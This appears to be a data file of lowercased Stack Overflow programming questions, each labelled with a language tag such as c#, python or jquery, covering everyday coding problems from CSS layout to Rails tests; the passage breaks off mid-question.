how do i iteratively assign to a nested list within an object in c#   i ve been asked to replicate a complex xml structure we use within our internal systems  against data retrieved from another system. unfortunately the xml structure is improvised and we have no specification for it.    i ve been mapping out it s structure in c# classes so that i can assign those properties with values from the database and ultimately serialise it as xml.    i ve hit a bit of a road block in terms of iteratively adding new list items to a nested list within an object that s already being intialised as a list and being looped through. to make matters more complicated i need to use a value from the iteration to filter down the dataset being used to instantiate the second loop round.    sorry for the poor explanation - open to rewording... hopefully however the example i ve written will demonstrate what i m trying to do:   <pre><code>using system; using system.collections.generic; using system.data;  public class transactionmodel {      public int id { get; set; }     public string description { get; set; }     public datetime sysdate { get; set; }     public list&lt;transactionitemmodel&gt; trade { get; set; } = new list&lt;transactionitemmodel&gt;();  }  public class transactionitemmodel {          public int itemid { get; set; }         public int transactionid { get; set; }         public string itemdescription { get; set; }         public decimal itemnetamount { get; set; }      }  public class program  {     public void main()     {         datatable tranresultset = methodtoreturnresultsfromtranquery();         datatable itemresultset = methodtoreturnresultsfromitemquery();          var transactions = new list&lt;transactionmodel&gt;();         foreach (datarow tran in tranresultset.rows)         {              transactions.add(                  new transactionmodel() {                     id = (dynamic)tran[ id ]                      description = (dynamic)tran[ description ]                      sysdate = (dynamic)tran[ sysdate ]                      //trade = &lt;stuck here&gt;                     // need to iterate through itemresultset  adding to transactionmodel.trade                     // where item[ transactionid ] = tran[ id ]                  }              );          }      } } </code></pre>,c#
how can i pass a hash for my where clause   i am listing products and i want to be able to pass a hash as my where clause so i can do something like:   <pre><code>filter = {} filter[:category_id] = @category.id filter[:is_active] = true  @products = products.where(filter) </code></pre>   is it possible to do this somehow     i also need to add something like this in my where clause:   <pre><code>where price &gt; 100 </code></pre>   how could i add that to a filter     the reason i want to do this is because in the ui i will have a set of optional filters  so then i will use if clauses in my controller to set each filter.,ruby-on-rails
lowercase j tail cut off  for some reason  when i put a lowercase j character inside a <code>span</code>  it cuts off the tail. you can easily see this by changing the font color on hover. i tested this in chrome 32 on osx and safari 7.0.1.    <strong>html</strong>   <pre><code>&lt;body&gt;     &lt;span&gt;j&lt;/span&gt; &lt;/body&gt; </code></pre>   <strong>css</strong>   <pre><code>body {     font-size:30em;     text-align:center; } span:hover {     color:red; } </code></pre>   jsfiddle: <a href= http://jsfiddle.net/brs3q/2/  rel= nofollow >http://jsfiddle.net/brs3q/2/</a>    why does this happen  and what can i do to fix it,html
how to prevent firing single tap event when double tapped in nstableview in objective c  i have a nstableview and when i try to double tapped on any row  two methods are getting called back to back first one is single tap action and the second one is double tapped action. how to avoid calling single tap action when i double tap on row,objective-c
python: extract raw value from multi-encapsulated dictionary  i want to  extract  string  group  from 2 level encapsulated dictionary.   <pre><code>dict = { instance1  : { runtype  :  group }           instance2  : {  runtype  :  process }} </code></pre>   if i access runtype of <code>instance1</code> with  obviuos way <code>dict[ instance1 ][ runtype ]</code>  then i get the string <code>[ group ]</code>. i also tried <code>dict[ instance1 ].get( runtype    null )</code>  with hope that <code>.get</code> will return raw string <code> group </code>  but that did not happened.    is there any other short way to get pure string data from <code>x&gt;1</code> level of dictionary without  <code>str()</code> and then <code>strip()</code> etc.     --------------solution---------------    dict[ instance1 ][ runtype ][0] will return pure group string,python
availability of older sample code for iphone 2.2  we ve been programming an iphone application under iphone os 3.1  but the client has now decided he wants us to redo the existing codebase to run under 2.2. one of the nice pieces of built-in functionality we used under 3.1 was the <code>uisearchdisplaycontroller</code> functionality for searching uitableviews  but that functionality was not available previously and i m not sure how to create the equivalent code under 2.2 from scratch.    long story short  does anyone know where i can obtain earlier sample code  the <code>tablesearch</code> example apparently existed under 2.2 and would likely be very useful to me  but i don t know how to obtain it. when i go to look online at the available apple sample code  i m redirected to the latest 3.1 versions  which don t do me any good.    howard,iphone
css - how to continue on second column for ul li for large li  i have the following css and it works great. however  i have about 50 li . is there a way to automatically add column and display 10 per column  i tried left: float; but the look is nasty. i tried column-count: 3 with column-gap: 10px but no effect on li (just changes the width of the ul)    i have the html and css on jsfiddle if that helps.  <a href= https://jsfiddle.net/zq54cb2b/  rel= nofollow noreferrer >https://jsfiddle.net/zq54cb2b/</a>   <pre><code>#cssmenu ul li {   padding: 7px 7px;   color: #000000;   background-color: #cce5ff;   border-bottom: 1px solid #f1f5f9; } </code></pre>,css
bg color not showing in bootstrap  i m trying to create a website from scratch  and for the life of me i cant figure out why this code won t accept bgcolor in the body header   <pre><code>&lt;!doctype html&gt; &lt;html lang= en &gt; &lt;head&gt; &lt;meta charset= utf-8 &gt; &lt;meta name= generator  content= coffeecup html editor (www.coffeecup.com) &gt; &lt;meta name= dcterms.created  content= tue  17 jan 2017 15:47:26 gmt &gt; &lt;meta name= description  content=  &gt; &lt;meta name= keywords  content=  &gt; &lt;link href= css/bootstrap.min.css  rel= stylesheet &gt; &lt;script   src= https://ajax.googleapis.com/ajax/libs/jquery/3.1.1/jquery.min.js &gt;&lt;/script&gt; &lt;script src= js/bootstrap.min.js &gt;&lt;/script&gt;       &lt;title&gt;test&lt;/title&gt; &lt;/head&gt;  &lt;body bgcolor= #013adf &gt;  &lt;/body&gt; &lt;/html&gt; </code></pre>   it seems that the line       <code>&lt;link href= css/bootstrap.min.css  rel= stylesheet &gt;</code>    is whats preventing it from loading  i don t know why though.,html
js not loading properly for my rails website  here s a case.    i am using rails to make a website.     now i have multiple pages  say <strong>home</strong>  <strong>about</strong> and <strong>projects</strong>.    i have created partials for header and footer and rendering them in <strong>about</strong> and <strong>projects</strong> page.    for some reasons my sliders/carousels are not loading for my <strong>projects</strong> page.    i am confused a bit about where should i place my all the <code>&lt;scripts&gt;</code> .    i mean should i keep them in the footer partial or should i keep them in <strong>projects.html.erb</strong> file.    ps: sorry for a noobish question though.,ruby-on-rails
how to make css div width equal to browser width if element is inside wrapper element  what i have so far:   <pre><code>&lt;style&gt; .wrapper {     width:980px;     border:1px solid red; }  .element {     width:10000px;     overflow:visible;     margin-left:-2000px;     height: 20px;     margin-top:100px;     margin-bottom:100px;     border: 1px dotted green; } &lt;/style&gt; &lt;div class= wrapper &gt;     &lt;div class= element &gt;     &lt;/div&gt; &lt;/div&gt; </code></pre>   <a href= http://jsfiddle.net/8cyhr/  rel= nofollow >http://jsfiddle.net/8cyhr/</a>    i want to remove horizontal scrollbar (.element must have the same width as browser s window width) but wrapper element still must be only 980px wide,css
can i access a session variable which is declared in another language in the same application in dot net   dot net allow you to develop an application in multiple languages i.e c# vb.net j# etc. suppose i develop an application in two languages vb.net and c#. if i declare one session variable in vb.net code and i want to access the same session variable in c# code. is it possible,.net
overriding and new  i m not sure if this is better suited to programmers on se.    i m learning about inheritance  specifically how to use overrides - i can see i can either use override to extend the functionality or new to create new functionality.     eg    <pre><code>    public override int calls(int i)     {         //do some things         return base.calls(i);     } </code></pre>   the above does the logic  and then calls the base class.    if i do new   <pre><code>    public new int calls(int i) </code></pre>   then i can implement my own logic  as if the base class never existed (as it s never called).    the thing which confuses me is i can simply remove the base class call from my override method and i <em>think</em> i get the same results as new. meaning   <pre><code>public override int calls(int i) {     //do some things     // return base.calls(i); commented out  no base class call } </code></pre>   the above code snippet surely is the same as <code>public new int calls(int i)</code>     my question is  am i right - is this ultimately 2 ways of doing the same thing so it becomes better in terms of clarity for the developer (by using override or new) or are there any other differences between the 2 (any gotcha s).,.net
mysql longtext doesn t accept an apostrophe    i was building a portal for my college with posting messages option. hence i used longtext to store the message in mysql. but somehow the longtext doesn t accept the apostrophe mark. it gives following error whenever i post some sentence with apostrophe mark:   <pre><code> error: you have an error in your sql syntax; check the manual that corresponds   to your mysql server version for the right syntax to use near  s open singles  tournament  will electrical be able to maintain their dominance o  at line 1  </code></pre>   ps: not in the escape string  but in <code>&lt;textarea&gt;</code>  if i input the apostrophe mark it gives the error!,mysql
passing arguments with url <pre><code>-(void)getword:(nsstring*)uppercasestring :(nsstring *)combinedstring :(nsstring *)wordindex {     nsurl *url = [nsurl urlwithstring:@ http://quicklanguages.com/materiales/quicklanguages/audios/%@/%@-%@.mp3  @ uppercasestring   @ combinedstring   @ wordindex  ];     //  [tweetsheet setinitialtext:[nsstring stringwithformat:@ %@        [[_items objectatindex:indexpath.row] objectforkey:@ redirect_url ]]];     nsdata *data = [nsdata datawithcontentsofurl:url];     audioplayer = [[avaudioplayer alloc] initwithdata:data error:nil];      // now we are assigning it in an instance variable thus arc will not deallocate it.     [audioplayer play]; } </code></pre>   i make a method and passing three arguments   now can can set these arguments with this url .....,objective-c
storing value by reference in javascript  i m new to js but i understand that there s no such concept as there is pointers in other languages. but what if  let s say  i wanna do this:   <pre><code>// an object s property removeitem: function(item_id) {    var obj = this.panel.items[item_id]; // panel is some other property    delete obj; // but it won t delete that object    delete this.panel.items[item_id]; //however  this will } </code></pre>   i wanna understand  how  and  how can i pass <code>this.panel.items[item_id]</code> as reference to <code>obj</code> so it would actually delete the main object.    does <code>obj</code> holds reference or clone of <code>this.panel.items[item_id]</code>,javascript
how i write my own c++ library for iphone application   i want to make library using c++ for assigning and developing some image processing tasks. can any one give me sample example on custom c++ library     thanks.,iphone
jquery check all hidden elements for similarity of values and return boolean  how can i check a group of hidden fields for their values and if there are dissimilarities in their values  i will return false. but empty values and  false  should be treated as equal.  there are 3 possible values only  empty  true and false but i want to treat empty as false.    i want something like   <pre><code>var istrue = true;  // is there a way to do this in jquery or similar to this  var values = $( #group input:hidden ).distinct().take(2);   if(values.length == 2) {     // only make it false if there is a true in the values.     if(values[0] ==  true  || values[1] ==  true ) {         istrue = false;     } } </code></pre>   output should be like   <pre><code>{values[0] =     values[1] =  false } = true {values[0] =  true   values[1] =  false } = false {values[0] =     values[1] =  true } = false </code></pre>   index in the index can be interchanged.,jquery
backtick (`) causing problems with heroku (postgres) but not with local machine  i am trying to put my app live on heroku but i am running into a problem that it doesn t like me using backticks (`) in my sql queries. here is the error from the log:   <pre><code>2011-10-29t18:28:26+00:00 app[web.1]: uter join  events_users  on  events_users . event_id  =  events . id  left outer join  users  on  users . id  =  events_users . user_id  where (`users`.id in (2 4 17 1)) order by events.event_date desc): </code></pre>   it works on my local machine because i am using sqlite but it is not working on heroku. so i have two questions:    1) is there something else i can use instead of the backtick   2) is postgres a sqlite alternative i should be using so that my heroku deployment matches my local machine,ruby-on-rails
send with curlopt_postfields file located on other server  is possible to send with curlopt_postfields a source file that isn t located on the server where is running my script    so i can send a file to a server throw an url and not a dir path,php
replacement for java color and bufferedimage in 2d rgb arrays (android)  i have a working java code where i am loading an image with bufferedimage and saving picture rgb values into red  green and blue 2d arrays. but i don t know how to convert following code into android compatible code:   <pre><code>//... bufferedimage img = imageio.read(new file( test.png )); //...         for(int i=0; i&lt;img.getheight(); i++) {             for(int j=0; j&lt;img.getwidth(); j++) {                  color c = new color(img.getrgb(j i));                 i_redscreen[i][j] = c.getred();                 i_greenscreen[i][j] = c.getgreen();                 i_bluescreen[i][j] = c.getblue(); //... </code></pre>   i was able to load and get width and height from my image with following code:   <pre><code>bitmap = imageview.getdrawingcache(); width = imageview.getwidth(); height = imageview.getheight(); </code></pre>   however  i don t know how to replace my code where i am using color to fill my 2d arrays (i_redscreen  i_greenscreen  i_bluescreen) with red  green and blue values from my bitmap object. they must stay as 2d arrays  because i am using them in my algorithm.    ps: <strong>i am using android studio 3.1</strong>,android
pointer to array of strings as const   i program a application with mikroc pro for avr on the hardware mikromedia for xmega. i have different languages to show on a tft display. i must switch the languages at runtime.    this works the following way  as example for the languages german and english.    i have two pointer arrays for the languages:   <pre><code>char* deu_hilfe[] = {              start = startet die messung                stopp = stoppt die messung                setup = aufruf des setups               };  char *eng_hilfe[] = {              start = start the measurement                stopp = stop the measurment                setup = open the setup               }; </code></pre>   i define a pointer to a pointer:   <pre><code>char **sprache_hilfe;  </code></pre>   then i allocate the pointer to the german or english array:   <pre><code>sprache_hilfe   = eng_hilfe; sprache_hilfe   = deu_hilfe; </code></pre>   and use it:   <pre><code>text_hi_hitxt_1.caption  = sprache_hilfe[sp_hilfe_alg_button]; </code></pre>   this works fine  but my problem is  that the arrays are in the ram and my ram is full now. so i tried to make the arrays const.  but when i cast my array to the pointer with:   <pre><code>char **sprache_hilfe   = (char*)eng_hilfe; </code></pre>   i see no text on the display. i think something is wrong with my cast. has anyone a better solution or knows what is wrong with my code     greetings from germany patrick,c
counting item number in python  for   <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/2894323/for-x-in-y-type-iteration-in-python-can-i-find-out-what-iteration-im-currentl >for x in y  type iteration in python. can i find out what iteration i&#39;m currently on </a><br>   <a href= https://stackoverflow.com/questions/8590810/iteration-count-in-python >iteration count in python </a>    </blockquote>     kind of hard to explain  but when i run something like this:   <pre><code>fruits = [ apple    orange    banana    strawberry    kiwi ]  for fruit in fruits:     print fruit.capitalize() </code></pre>   it gives me this  as expected:   <pre><code>apple orange banana strawberry kiwi </code></pre>   how would i edit that code so that it would  count  the amount of times it s performing the <code>for</code>  and print this    <pre><code>1 apple 2 orange 3 banana 4 strawberry 5 kiwi </code></pre>,python
my iphone locks up  software:  xcode 6.2 beta    here s my problem: i have two apps out for sale. i created a lite version of one of the apps and have it loaded on my phone for testing. the lite version works fine  the ads run  and the testing of the in-app purchases are successful.    here is where the problems arise: when i have the lite version on my phone and i try to open one of my other apps that is out for sale  my phone shorts out. the  for sale  app freezes on the launch image and i have to do a soft restart on my phone to get it to work. from that point  my app that is out for sale is gone from the folder it was in but it still exist in  settings>usage .  when i find it in the usage list the app s icon is gone and when i click the blank icon the detail page shows the app icon from my test app (the lite version).    this problem has happened in reverse as well. when i open the lite version  it freezes on the launch image.,ios
how to access layout-specific resources located in an apk which is externally loaded   i am in the process of developing an application (i.e.: base apk) which is capable downloading  when the need raises  third party apks(i.e.: external apks) from a dedicated server. when that happens the base application (base apk) begins to instantiate each previously downloaded apk (i.e.: external apks) in a way similar to that elaborated <a href= https://stackoverflow.com/questions/6857807/is-it-possible-to-dynamically-load-a-library-at-runtime-from-an-android-applicat >here</a>. the whole process flows smoothly except in cases where those third party apks are designed so as to take advantage of local to themselves resources (i.e.: res/layout/layout files). in such cases 3rd party apk s code used to access those local resources (e.g.: by trying to inflate a layout as shown below) fails throwing a nullpointerexception(being unable to locate each of them).     i wonder whether or not this is a feasible scenario. if yes (most probably i guess) is there any straight forward solution/work-around that currently i dismiss..    <pre><code>layoutinflater.from(this.getcontext()).inflate(mypackage.external.apk.r.layout_to_be_loaded  this); </code></pre>   thank you!,android
#1241 - operand should contain 1 column(s)  here  i am getting error like this    <h1>1241 - operand should contain 1 column(s)</h1>   my sql query is like    <pre><code>select *  from `fx_users_attendance`      left outer join `fx_account_details` on fx_account_details.user_id = fx_users_attendance.user_id      left outer join `fx_departments` on fx_departments.deptid = fx_account_details.department      left outer join `fx_users` on fx_users.id = fx_users_attendance.user_id  where fx_departments.deptid in(1) and fx_users.id in(5) and year(clock_in) = year(curdate()) group by (01 02 03 04 05 06 07 08 09 10 11 12) </code></pre>   what it says actually,mysql
asp.net temporary files cleanup  can i safely delete the contents of this folder   <blockquote>    <code>c:\windows\microsoft.net\framework\v4.0.30319\temporary asp.net files\root</code>  </blockquote>   on a windows 2003 r2 standard system  given that i am not using iis (6/7) on it     if that is the case  could you please point me to the relevant documentation about asp.net s runtime and maintenance tasks such as this,asp.net
ugly css input issue  if you go <a href= http://taraontv.com/contact.html  rel= nofollow >here</a>  let the input fields empty and press submit  you will notice that name input is over the  the field is required  popup.    i have tried to apply z-index and other css strange  solutions  but i am simply unable to fix that...    can you please suggest something,css
jquery callback not working  can anyone tell me what i m doing wrong in this jquery script     <pre><code>$(document).ready(function() {      $( a.book ).click(function() {         $(this).parent().next( div ).slidetoggle( slow   function(){             $(this).toggleclass( bookopen );         });     }); }); </code></pre>   i want the div to toggle  and then afterwards i want the element <code>$a.book</code> to change to <code>$a.bookopen</code>. but when i write the code above the toggle doesn t work. if i remove the callback function <code>toggleclass</code> the the <code>slidetoggle</code> works just fine.     any ideas  i appreciate your help.,jquery
change dom object dataset at once  the case is simple:    i have a javascript object    <pre><code>mydata = {foo :  foo   bar :  bar }; </code></pre>   and i have a dom object   <pre><code>mydomobj = document.getelementbyid( mydomobj ); </code></pre>   of course  now   <pre><code>mydomobj.dataset === {/* whatever */}; </code></pre>   and  simple as this  what i would like to do is to change completely all such dataset to the one from <code>mydata</code>  that is  i would like to achieve something like:   <pre><code>mydomobj.dataset = mydata;  //so now we would have... mydomobj.dataset = {foo :  foo   bar :  bar }; </code></pre>   however  this doesn t seem to work  and i wonder if there is a clean way  other than iterating over the dataset elements:   <pre><code>for (propertyname in data) {     mydomobj.dataset[propertyname] = data[propertyname]; } </code></pre>   which  of course  works  but it is not as clean...,javascript
the model backing database is out of date asp.net  i get an error when i try publishing and going to my website. it says <img src= https://i.stack.imgur.com/5bavs.png  alt= enter image description here >,asp.net
how to pass operators as parameters  i have to load an array of <code>doubles</code> from a file  multiply each element by a value in a table (different values for different elements)  do some work on it  invert the multiplication (that is  divide) and then save the data back to file.    currently i implement the multiplication and division process in two separate methods. now there is some extra work behind the scenes but apart from the specific statements where the multiplication/division occurs  the rest of the code is identical. as you can imagine  with this approach you have to be very careful making any changes. the surrounding code is not trivial  so its either a case of manually editing each method or copying changes from one method to the other and remembering to change the * and / operators.    after too many close calls i am fed up of this and would like to make a common function which implements the common logic and two wrapper functions which pass which operator to use as a parameter.    my initial approach was to use function pointers:   <pre><code>void multiplydata(double data)   { transformdata(data  &amp;(operator *));  }   void dividedata(double data)   { transformdata(data  &amp;(operator /));  }    void transformdata(double data  double (*func)(double op1  double op2))   {  /* do stuff here... */ }  </code></pre>   however  i can t pass the operators as pointers (is this because it is an operator on a native type )  so i tried to use function objects. initially i thought that <code>multiplies</code> and <code>divides</code> functors in <code>&lt;functional&gt;</code> would be ideal:   <pre><code>void multiplydata(double data)   {       std::multiplies&lt;double&gt; multfunct;       transformdata(data  &amp;multfunct);   }  void dividedata(double data)   {       std::divides&lt;double&gt; divfunct;       transformdata(data  &amp;divfunct);   }  void transformdata(double data  std::binary_function&lt;double  double  double&gt; *funct)   {  /* do stuff here... */ }  </code></pre>   as you can see i was trying to use a base class pointer to pass the functor polymorphically. the problem is that <code>std::binary_function</code> does not declare an <code>operator()</code> member for the child classes to implement.    is there something i am missing  or is the solution to implement my own functor heirarchy (which really seems more trouble than it is worth),c++
throwing a terminate exception  i am in the process of learning objective c using the online treehouse tutorials i have followed everything step by step up to this point and keep getting an error when i press the button. i am hoping someone can tell me what i did wrong here. the app up to this point is supposed to have a label at the top and a button in the middle of the storyboard when the button is pressed it should change the text of the label. my code is below.    .m file   <pre><code>// //  viewcontroller.m //  prediction // //  created by brandon brown on 7/7/13. //  copyright (c) 2013 brandon brown. all rights reserved. //  #import  viewcontroller.h   @interface viewcontroller ()  @end  @implementation viewcontroller @synthesize predictionlabel;  - (void)viewdidload {     [super viewdidload];     // do any additional setup after loading the view  typically from a nib. }  - (void)viewdidunload {     [self setpredictionlabel:nil];     [super viewdidunload];     // release any retained subviews of the main view. }  - (bool)shouldautorotatetointerfaceorientation:(uiinterfaceorientation)interfaceorientation {     return (interfaceorientation != uiinterfaceorientationportraitupsidedown); }  - (ibaction)buttonpressed:(id)sender {     self.predictionlabel.text = @ yep ; } @end </code></pre>   .h file   <pre><code>// //  viewcontroller.h //  prediction // //  created by brandon brown on 7/7/13. //  copyright (c) 2013 brandon brown. all rights reserved. //  #import &lt;uikit/uikit.h&gt;  @interface viewcontroller : uiviewcontroller - (ibaction)buttonpressed:(id)sender; @property (strong  nonatomic) iboutlet uilabel *predictionlabel;  @end </code></pre>   this is the error im getting in the console   <pre><code>2013-07-07 17:20:09.717 prediction[14457:f803] -[uiview settext:]: unrecognized selector sent to instance 0x6a44690 2013-07-07 17:20:09.719 prediction[14457:f803] *** terminating app due to uncaught exception  nsinvalidargumentexception   reason:  -[uiview settext:]: unrecognized selector sent to instance 0x6a44690  *** first throw call stack: (0x14b0022 0xeb0cd6 0x14b1cbd 0x1416ed0 0x1416cb2 0x22cf 0x14b1e99 0x1614e 0x160e6 0xbcade 0xbcfa7 0xbc266 0x3b3c0 0x3b5e6 0x21dc4 0x15634 0x139aef5 0x1484195 0x13e8ff2 0x13e78da 0x13e6d84 0x13e6c9b 0x13997d8 0x139988a 0x13626 0x1f0d 0x1e75) terminate called throwing an exception </code></pre>,objective-c
the targetcontrolid of  modalpopupextender  is not valid. a control with id  tdday  could not be found  i am getting error when i use fallowing code. i have provide the target control id still error is occur.    please help   <pre><code>  &lt;asp:repeater id= repdays  runat= server  onitemdatabound= repdays_onitemdatabound &gt;                         &lt;itemtemplate&gt;                             &lt;td id= tdday  runat= server &gt;                                 &lt;asp:literal id= litday  runat= server  /&gt;                             &lt;/td&gt;                             &lt;asp:panel id= panel1  runat= server  backcolor= white  bordercolor= #43aae4  borderstyle= solid                                  borderwidth= 2px &gt;                                 &lt;div style= text-align: right; width: 100% &gt;                                     some text in popup                                 &lt;/div&gt;                             &lt;/asp:panel&gt;                             &lt;ajaxtoolkit:modalpopupextender id= modalpopupextender  runat= server  popupcontrolid= panel1                                  targetcontrolid= tdday  dropshadow= true &gt;                             &lt;/ajaxtoolkit:modalpopupextender&gt;                         &lt;/itemtemplate&gt;                     &lt;/asp:repeater&gt; </code></pre>,asp.net
combining filter with multiple lambda arguments  if i have something like:    <code>filter(lambda x y: x + y &gt; 5  [3 6])</code> i m trying to get all pairs of elements whose sum is greater than 5. i get an error saying lambda expects 2 inputs but only one is given. if i then do <code>filter((lambda x y: x + y &gt; 5  [3 6] [6 4]))</code> then i get an error saying filter has been given too many arguments. is it possible to accomplish this,python
getting quick response to nsurl by sending soap message to .net web server  i am new to web services. i need to get information from .net web server. for that i am using the following code:   <pre><code>-(void)connection:(nsurlconnection *)connection didreceiveresponse:(nsurlresponse *)response {     [webdata setlength: 0];  } -(void)connection:(nsurlconnection *)connection didreceivedata:(nsdata *)data {     [webdata appenddata:data];     if (data) {         nslog(@  bcxbm xcm xcmcmx b data consist %@  data);     }     else {         nslog(@ not exist );         uialertview *alert = [[uialertview alloc] initwithtitle:@ uialertview  message:@ &lt;alert message&gt;  delegate:self cancelbuttontitle:@ retry  otherbuttontitles:@ cancel   nil];         [alert show];         [alert release];     }  } -(void)connection:(nsurlconnection *)connection didfailwitherror:(nserror *)error {      nslog(@ error with theconenction ); } -(void)connectiondidfinishloading:(nsurlconnection *)connection {     nslog(@ done. received bytes: %d   [webdata length]); </code></pre>   i am able to get information  but i need to validate it. if there is no connect  i need to fire an <code>alertview</code>. for that i have the code:   <pre><code>-(void)connection:(nsurlconnection *)connection didreceivedata:(nsdata *)data     {         [webdata appenddata:data];         if (data) {             nslog(@  bcxbm xcm xcmcmx b data consist %@  data);         }         else {             nslog(@ not exist );             uialertview *alert = [[uialertview alloc] initwithtitle:@ uialertview  message:@ &lt;alert message&gt;  delegate:self cancelbuttontitle:@ retry  otherbuttontitles:@ cancel   nil];             [alert show];             [alert release];         }      } </code></pre>   i check by removing connection. but it does not fire any alerts. after some time  it displays <code>error in connection</code> in console. but it takes much time. is there any other possibility than this  how to display alert when there is no connection     can anyone please help me,iphone
is doubling the capacity of a dynamic array necessary   when making automatically expanding arrays (like c++ s std::vector) in c  it is often common (or at least common advice) to double the size of the array each time it is filled to limit the amount of calls to <code>realloc</code> in order to avoid copying the entire array as much as possible.    eg. we start by allocating room for 8 elements  8 elements are inserted  we then allocate room for 16 elements  8 more elements are inserted  we allocate for 32..  etc.    but <code>realloc</code> does not have to actually copy the data if it can expand the existing memory allocation. for example  the following code only does 1 copy (the initial null allocation  so it is not really a copy) on my system  even though it calls <code>realloc</code> 10000 times:   <pre><code>#include &lt;stdlib.h&gt; #include &lt;stdio.h&gt;  int main() {     int i;     int copies = 0;     void *data = null;     void *ndata;      for (i = 0; i &lt; 10000; i++)     {         ndata = realloc(data  i * sizeof(int));         if (data != ndata)             copies++;         data = ndata;     }     printf( %d\n   copies);  } </code></pre>   i realize that this example is very clinical - a real world application would probably have more memory fragmentation and would do more copies  but even if i make a bunch of random allocations before the <code>realloc</code> loop  it only does marginally worse with 2-4 copies instead.    so  is the  doubling method  really necessary  would it not be better to just call <code>realloc</code> each time a element is added to the dynamic array,c
android search activity  i have created a <code>cardview</code> (using <code>fragment</code>) which loads data from server. also added a <code>searchview</code> in the <code>toolbar</code>. now i am adding a search <code>activity</code>. however while adding search <code>activity</code> i feel like i have to copy all the methods and layout elements from the main <code>activity</code>. i don t feel it will be a right solution.,android
html table auto sizing  i have a  table  that i use and since i added text  the width has increased and i can t figure out how to decrease it!    here s the image    <img src= https://i.stack.imgur.com/xsqrf.png  alt= enter image description here >    i need the black table (that holds everything) to be the same width as the orange  upper district  bar. here s the only code i have for it   <pre><code>&lt;tr&gt; &lt;td bgcolor= black  valign= center &gt; &lt;table cellpadding= 0  cellspacing= 0  height= 450 &gt; </code></pre>   it s a bit better when i remove the text  it s like it s being stretched out to accomodate the text but why does it only stretch a certain amount  and why does it stretch anyway,html
get current running process in android  it s about currently running process info.    i would like to capture the vivid name or the same name which appeared under icon of the current running process.    while using  <a href= http://developer.android.com/reference/android/app/activitymanager.runningtaskinfo.html  rel= nofollow >runningtaskinfo</a> or <a href= http://developer.android.com/reference/android/app/activitymanager.runningappprocessinfo.html  rel= nofollow >runningprocessinfo</a>   i can only get the complex information like com.android.browser.    actually  i want to get the names like brower  clock  contact etc.     how can i achieve this  please direct to the full tutorial link or with fully explanation codes.    ps: i am just a beginner and i am sure that i ve already explored the android developer site.,android
jquery - how to reduce conditional statements that filter data from external file  how do i take the following code in my ajax request...   <pre><code>...   success: function(data) {       var $data = $(data);       var data_topmenu             =  $data.filter( #menu )[0].outerhtml;       var data_footer              =  $data.filter( #footer )[0].outerhtml;       var data_submenu_about       =  $data.filter( #about )[0].outerhtml;       var data_submenu_participate =  $data.filter( #participate )[0].outerhtml;       var data_submenu_join        =  $data.filter( #join )[0].outerhtml;       var data_submenu_support     =  $data.filter( #support )[0].outerhtml;          //load filtered data into dom based on text value of element      $( .submenukey:contains( about ) ).html(data_submenu_about);      $( .submenukey:contains( support ) ).html(data_submenu_support);      $( .submenukey:contains( join ) ).html(data_submenu_join);      $( .submenukey:contains( participate ) ).html(data_submenu_participate);        }         ... </code></pre>   and reduce the amount of conditional statements i need to make  just because i create a new var values....,jquery
clear text box using jquery  i have this html element:   <pre><code>&lt;div id= setprofessionalditailsarea &gt; &lt;input type= textbox  id= institutename  placeholder= instetute name &gt; &lt;/div&gt; </code></pre>   at some point i try to clear text box:   <pre><code>  $( #setprofessionalditailsarea input[textbox]  ).val(  ); </code></pre>   but it dosen t work while this:   <pre><code>  $( #sinstitutename  ).val(  ); </code></pre>   works perfect!    any idea why is the first option not working,jquery
freeman chain code in opencv 3  in opencv 1 there used to be an option of cvfindcontours (using cv_chain_code) to obtain a contour from an image in freeman chain code. however  i cannot find it in opencv 3. has it been removed as option  i know i could develop my own function to generate freeman chain code from a contour given as a sequence of points  but i thought there was a ready-made function already available.,c++
programmatically inject code into functions   lets say in .net/c# i have a bunch of static classes in a namespace. i don t want to manually change the code but i d like to make them all call a specific function when entering a function. it would be nice if i could pass in the class/function name but not required. how might i do this,.net
java how to run another .jar program from code in response to button click  i have written a java program that should open another program (which is a .jar file). if i use this code in the main class of my program  all works correctly:   <pre><code>file logfile = new file( ./epaymentupdater.jar ); desktop.getdesktop().open(logfile.getcanonicalfile()); //or runtime.getruntime().exec( java -jar epaymentupdater.jar ); </code></pre>   but if i paste the same code in the event in response to the user clicking a button  it doesn t work as it should: the program seems to run  because it creates a folder like it should be (this code is in the main class of the called program)  but it doesn t show the jframe it should    it seems that i cannot open a frame from inside the frame of another program...    this is my main class:   <pre><code>package prove_idiote; import java.awt.desktop; import java.io.file; import javax.swing.joptionpane;  public class main {      public static void main(string[] args) {    //        try { //            runtime.getruntime().exec( java -jar epaymentupdater.jar ); //        } catch (exception e) {             //            system.out.println(e); //        }          tester tester = new tester();         tester.setvisible(true);            }    } </code></pre>   and this is my button event:   <pre><code>private void executeactionperformed(java.awt.event.actionevent evt) {                                              try {          joptionpane.showmessagedialog(null   before    attenzione!  joptionpane.warning_message);          runtime.getruntime().exec( java -jar epaymentupdater.jar );          joptionpane.showmessagedialog(null   after    attenzione!  joptionpane.warning_message);      } catch (exception e) {                     system.out.println(e);     } }  </code></pre>,java
rails test fails for asserting the presence of a link  even though it actually works on the browser  i m following hartl s rails tutorial (chapter 10) and am writing a test to validate that all the layout links are present. this is the test file:-   <pre><code>require  test_helper   class sitelayouttest &lt; actiondispatch::integrationtest    def setup     @user = users(:michael)   end    test  layout links  do     get root_path     assert_template  static_pages/home      assert_select  a[href= ]   root_path  count: 2     assert_select  a[href= ]   blog_path     assert_select  a[href= ]   about_path     assert_select  a[href= ]   help_path     assert_select  a[href= ]   contact_path     assert_select  a[href= ]   login_path     assert_select  a[href= ]   logout_path  count: 0     assert_select  a[href= ]   users_path  count: 0     log_in_as(@user)     assert is_logged_in      assert_select  a[href= ]   users_path     assert_select  a[href= ]   logout_path     assert_select  a[href= ]   login_path  count: 0   end end </code></pre>   here  the test shows the following failure:-   <pre><code>    fail[ test_layout_links   sitelayouttest  0.7809554979976383]  test_layout_links#sitelayouttest (0.78s)         expected at least 1 element matching  a[href= /users ]   found 0..         expected 0 to be &gt;= 1.         test/integration/site_layout_test.rb:23:in `block in &lt;class:sitelayouttest&gt;  </code></pre>   if i comment out the <code>assert_select  a[href= ]   users_path</code>  it shows failure for the logout_path:-   <pre><code> fail[ test_layout_links   sitelayouttest  0.6692811190005159]  test_layout_links#sitelayouttest (0.67s)         expected at least 1 element matching  a[href= /logout ]   found 0..         expected 0 to be &gt;= 1.         test/integration/site_layout_test.rb:24:in `block in 